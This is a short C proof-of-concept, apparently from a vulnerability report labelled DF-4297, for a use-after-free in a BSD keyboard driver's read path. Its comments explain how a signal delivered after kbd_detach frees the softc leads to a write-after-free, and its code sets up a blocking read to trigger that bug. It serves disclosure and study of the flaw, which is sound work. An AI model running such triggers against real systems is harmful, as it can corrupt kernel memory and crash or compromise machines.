DF-4297 / kbd_uaf.c
/* * kbd_uaf.c - DF-4297 PoC userland reader. * * usage: kbd_uaf < /dev/kbdN (reader mode: block in read(2)) * * genkbdread (sys/dev/misc/kbd/kbd.c:726-777) captures `sc = dev->si_drv1` * and blocks in tsleep(sc, ..., "kbdrea", 0) at kbd.c:750 while the queue * is empty. When the driver later calls kbd_detach() (kbd.c:582), the sc is * freed out from under the sleeping reader with no wakeup; a signal then * drives the error path at kbd.c:756-759: * * if (error) { * sc->gkb_flags &= ~KB_ASLEEP; <-- write-after-free * * $FreeBSD$ */ #include <errno.h> #include <fcntl.h> #include <signal.h> #include <stdio.h> #include <string.h> #include <unistd.h> static void noop(int sig __unused) { } int main(void) { char b[8]; ssize_t n; struct sigaction sa; /* * Catch SIGUSR1 without SA_RESTART so a wake-up from tsleep returns * EINTR through the kbd.c:756-759 error path * (sc->gkb_flags &= ~KB_ASLEEP) instead of restarting the read. */ memset(&sa, 0, sizeof(sa)); sa.sa_handler = noop; sigaction(SIGUSR1, &sa, NULL); /* * /dev/kbdN is 0600 root:wheel and genkbdopen() additionally requires * SYSCAP_RESTRICTEDROOT (kbd.c:672) - this PoC runs as root, matching * the privileged threat model of the detach path. */ n = read(STDIN_FILENO, b, sizeof(b)); fprintf(stderr, "kbd_uaf reader: read(2) returned %zd errno=%d (%s)\n", n, errno, strerror(errno)); return (0); } |